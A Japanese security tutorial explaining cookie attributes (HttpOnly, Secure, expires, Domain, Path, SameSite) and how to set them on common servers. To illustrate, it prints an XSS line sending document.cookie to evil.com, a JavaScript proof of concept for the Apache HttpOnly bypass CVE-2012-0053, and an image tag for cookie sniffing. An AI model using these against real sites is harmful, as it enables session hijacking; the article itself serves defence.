なぜWebサービスにCookieを利用するのか
Cookie は、アクセス者についての情報を「状態」として保持するために、Web サイトによってユーザーのパソコンに保存されるファイルです。(RFC6265:HTTP State Management Mechanism)
HTTPの通信にはそもそも「状態」という概念がありません。ウェブサービスのアクセスはサーバから見ればどこから飛んできたか判断する為の情報がないため、 情報を要求しているのが「誰か」判断ができません。万人向けの情報ならそれで問題ないでしょうが、お客様から預かった個人情報や料金を頂いたお客様へのコンテンツを誰と構わず配信するわけにはいきません。そこでNetscape社が開発したCookieの技術でブラウザにサービスごとの「状態」をブラウザ側に記憶することが一般的になりました。
セッション管理を行うCookieは入館証をイメージするとわかりやすくなります。オフィスの来訪時、入館証は幾つかの確認作業や手続きの後発行されたと思います。オフィスなど特定の人以外入れたくない施設ではそこにいるのは正当に権利がある者かどうか重要になりますが、毎度入館手続きばりに確認作業をされるのもするのも極めて非効率ですし、そんな場所二度と行きたくないでしょう。
ウェブサービスも1ページ進むごとにログインなど本人確認を要求されたらたまったものではありませんので、一回本人確認が済んだら入館証のように偽造しにくい値をCookieに保存し、部屋(コンテンツ)に入る際に入館証のようにCookieの値を呈示して許可を得ます。
サーバでセットされたCookieを見ると以下のような形式になっていると思います。今回注目するのは赤字の二つの属性Secure属性とHttpOnly属性で以下にそれぞれの説明を記載しておりますのでしっかり理解・納得した上で実装していただければと思います。
Set-Cookie: SessionID=CA978112CA1BBDCAFAC231B39A23DC4DA; Path=/; Secure; HttpOnly
HTTPOnly属性の理解と修正方法
cookie のスコープ(参照・操作の権限)を HTTP リクエストに制限するものです。CSRF(クロスサイト・リクエストフォージェリ)のトークンにCookieの値を利用するような実装のシステムはCSRF(クロスサイト・リクエストフォージェリ)の被害を生まない為にもHTTPOnly属性の設定は必須と行って良いでしょう。クロスサイト・スクリプティングなどの攻撃でCookieを絶対に取られなくなると誤解されてる方もいらっしゃいますが、javascriptなどから直接参照・操作はできませんが、Content-Length: 0やCRLFの挿入によりレスポンス分割攻撃(HTTP Response Splitting)が成立してしまうとやはりHttpOnly属性の設定ではCookieの送信は回避できません。”bypass httponly cookie”と調べると方法は出てきます。
とは言え、設定するだけでHttpOnly属性の回避には他の脆弱性をついたり可能性を下げ、攻撃のコストをかなり増大できセキュリティリスクを大幅に低減できるため、システムの仕様上どうしてもjavascriptで参照が必要なケースを除いては設定を推奨します。
HHTPOnly属性により防ぐ事ができる例:
document.cookieなど直接スクリプトのスコープから参照することは防ぐ事はできます。
document.location=”http://evil.com/index.php?cookie=”+document.cookie;
HTTPOnly属性により防ぐ事のできない例:(Apache httpOnly Cookie Disclosure)
Apacheの400エラーを利用したhttponlyのバイパス
HTTPヘッダー値がサーバーの制限を超えている)場合 、Apache HTTP Serverが “HTTP 400 Bad Request”レスポンスします。
この時apacheには、400エラーページのヘッダ名とヘッダ値も含まれています。したがって、意図的にXSSを介して大量のクッキーを設定し、XmlHttpRequestを発行します。Httpリクエスト時はHttpOnly属性上Cookieを送信します。
Appach2.2.0 – 2.2.21が影響を受けます(CVE-2012-0053)
”POCのソースを展開する”
<?php header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly"); ?> <script type="text/javascript"> var today = new Date(); var expire = new Date(); expire.setTime(today.getTime() + 2000); gotCookie=false; padding=""; for (j=0;j<=1000;++j) { padding+="A"; } for (i=0;i < 10; ++i) { document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; path=/;" } function handler() { if (!gotCookie && this.responseText.length > 1) { text = /(SESSIONID=[^;]*)/i.exec(this.responseText); alert(text[1]); gotCookie=true; } } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = handler; xhr.open("GET", "/httponly.php"); xhr.send(); </script>
HttpOnly属性の設定方法
バージョンや実装により下記設定が必ずしも有効になるとは限らない事を予めご了承ください。
それでは修正の方法ですが環境によって異なるため環境別に案内していきます。
tomcatでの設定方法
%TOMCAT_HOME%\conf\server.xmlにて
<session-config>
<cookie-config>
<http-only>true</http-only>
</cookie-config>
</session-config>
ASP.NET MVCの設定例
参考
Response.AppendHeader(“Set-Cookie”, “sid=asbfus1b21lav112sd; path=/; Secure; HttpOnly”);
Apacheでの設定
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
php.iniで設定
session.cookie_httponly = 1
.htaccessで設定
php_flag session.cookie_httponly On
PHPソースに実装(非推奨)
ini_set(‘session.cookie_httponly’, 1);
session_start();
Secure属性の理解と修正方法
指定されたCookieはhttpsの通信の時のみCookieを送信するようになります。Secure属性を設定しない場合、Cookieは接続が https なのか http なのかには関係なく送信します。 http通信であれば通信経路上でにいる第三者からも簡単に盗聴できます。
同一ドメインであってもSecure属性付きのクッキーはHTTPから上書きできないためクッキーインジェクションの対策にもなります。2段階認証の1段階目、シングルサインオンのログインページへの遷移などアクセス制御が重要な場合、機微情報が含まれる(シリアライズされた値も含む)CookieもSecure属性を設定する事を推奨します。
攻撃の手法としては、例えば攻撃者の用意したサイトに大きさ0の以下のような画像を埋め込んでおきSRC属性にSecure属性がない会員サイトなどのURLを設定します。その際スキーマをhttpとすると平文でcookieを送ってくれるのでそれを盗聴します。
<img src=”http://victum.com:443/ width=” height=”0″ />
Secure属性の設定方法
バージョンや実装により下記設定が必ずしも有効になるとは限らない事を予めご了承ください。
それでは修正の方法ですが環境によって異なるため環境別に案内していきます。
tomcatでの設定方法
%TOMCAT_HOME%\conf\server.xmlにて
ASP.NET MVCの設定例
参考
Response.AppendHeader(“Set-Cookie”, “sid=asbfus1b21lav112sd; path=/; Secure; HttpOnly”);
Apacheでの設定
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
php.iniで設定
session.cookie_secure = 1
.htaccessで設定
php_flag session.cookie_secure On
PHPソースに実装(非推奨)
ini_set(‘session.cookie_secure’, 1);
session_start();
さて、ここからはsecure属性とHttpOnly属性以外のCookieの属性に関するトピックを解説して行きたいと思います。
expires属性とPersistent Cookie
最後にexpires属性についてです。要するにCookieの保持期間に関する設定です。①のセッションクッキーはブラウザを閉じると破棄されますが、②のセッションクッキーは指定の期間はクライアントのブラウザのあるパソコン内に保存され当該サイトアクセス時に送信されます。サイトにアクセスしている間以外にもクッキー取得の機会が広がり、ローカルから取得する可能性も出てくるので設定する際は慎重に設定しましょう。ITP(Intelligent Tracking Prevention)未対応ブラウザでは後述のサードパーティ・クッキー問題なども注意が必要です。
①expires -1または過去日付→ブラウザを閉じると削除される
②expires=Thu, 17-Aug-2017 04:52:08→クッキーはブラウザのローカルに保存され当該サイトアクセス時に送信される
Persistent Cookie
Session Cookieとは異なり、webサイトから離脱してもブラウザのフォルダに保存されたままになるCookieを指す言葉です。このCookieは、webサイトを離脱すると無効化されるのですが、同じwebサイトに再度訪問した際に有効化されるように作られています。これがexpires属性で未来日付に設定したクッキーという事になります。
サードパーティ・クッキー問題
サードパーティ・クッキーとは、現在ブラウザで表示しているURL(ドメイン)とは異なるURL(ドメイン)から取得されるクッキー・データのことでリターゲティングやトラッキングなどで今も利用されています。
しかし、iframe内の別サイトからのクッキー・データにアクセスできる可能性があり現状の属性設定では対応ができません。ユーザーが意識しないところでクッキーのやり取りが行われてしまう点が問題です。
IE(11)とiOS(9.3.1)のsafariでは発生します。なお、Safari 11ではITP(Intelligent Tracking Prevention)に対応しサードパーティ・クッキー問題は解消しましたが広告配信などが機能しなくなるなどの問題は発生しているようです。
Googleアナリティクスなどの主要なアクセス解析ツールは引っかかりそうですが、実はGoogleアナリティクスなどはファーストパーティクッキーを使ってユーザーを区別しているので、ITPでも影響は受けません。
Domain属性とPath属性の理解
Domain属性はdomain=https://at-virtual.net/などと指定するとそのドメインでの送信に限定できる属性です。
しかし、特にサブドメインの設定セキュリティ上注意が必要な属性です。
さくらのレンタルサーバーではユーザのサブドメイン.sakura.ne.jpという形でURLが割り振られます。
ここでサイトA(aaa.sakura.ne.jp)がdomain属性にsakura.ne.jpを指定したCookieをセットした際、
ブラウザはサイトB(bbb.sakura.ne.jpなど)にもそのCookieを送信してしまいます。
これはセキュリティだけでなくCookieが利用規約の範囲外の他サービスに送信されることになるので個人情報保護法やGDPRなどで問題になることが考えられます。
「.at-virtual.net」のように先頭に「.」で開始するとワイルドカード扱いになって末指定さえあっていればどんなサブドメインでも共有されることになります。
また.jpや.comのようなTLD(Top Level Domain)には設定できません。
domain属性で指定するドメインは現在のホスト名を含むドメインでなくてはない制約があります。
path属性は指定のパス配下でないとCookieを送信しないように制御する属性です。
path属性が省略された場合は現在のサイトの path が使われます。
これも配下のパスでコンテンツを作られて取得されるなど回避の方法がありますので過信をしないことをお勧めします。
SameSite属性の理解と修正方法
今いるサイト(ドメイン)から別のサイト(ドメイン)にリクエストする際にCookieをつけて送るか否かを設定できる属性です。
実はChrome 80以降(2020年2月)、Chromeは「デフォルトで設定されるCookiesのSameSite属性の値を Lax」としました。(参考)
(コロナウイルス(COVID-19)の世界情勢を鑑みて一時的にSamesite属性を元に戻すTemporarily rolling back SameSite Cookie Changes)
SameSite属性に設定可能な3つの属性
Lax:他サイト(ドメイン)への遷移(top-level navigation)でも、GETメソッドリクエストであればCookieはセットされます。
Strict:同一サイト(ドメイン)リクエスト間のリクエストでのみ、Cookieを送信します。
None:以前通りリクエスト先がCookieをセットしたドメインであればCookieをセットします。
更新処理はPOSTメソッドに寄せておくなどすれば、デフォルトで設定されるLaxでCSRFの被害は回避される可能性があります。
もっと厳格にサイトを一回離れたなら門から出直せ的に金融関連サービスレベルでやるならStrictを設定してもいいかもしれません。
それ以前にセットされたCookieでそれだと困るという場合、次のようなブラウザ操作で回避できます。
「chrome://flags/」にアクセスして表示されたページの上部に検索ボックスがあるので「SameSite」として検索、対象のCookieを「Disabled」に変更してブラウザ再起動(ReRelunch)します。
Apacheの場合の設定例
<ifmodule mod_headers.c>
Header always edit Set-Cookie (.*) "$1; secure; SameSite=none"
</ifmodule>
Nginxの場合の設定例
proxy_cookie_path / "/; secure; SameSite=none";
以上です。お役に立てれば幸いです。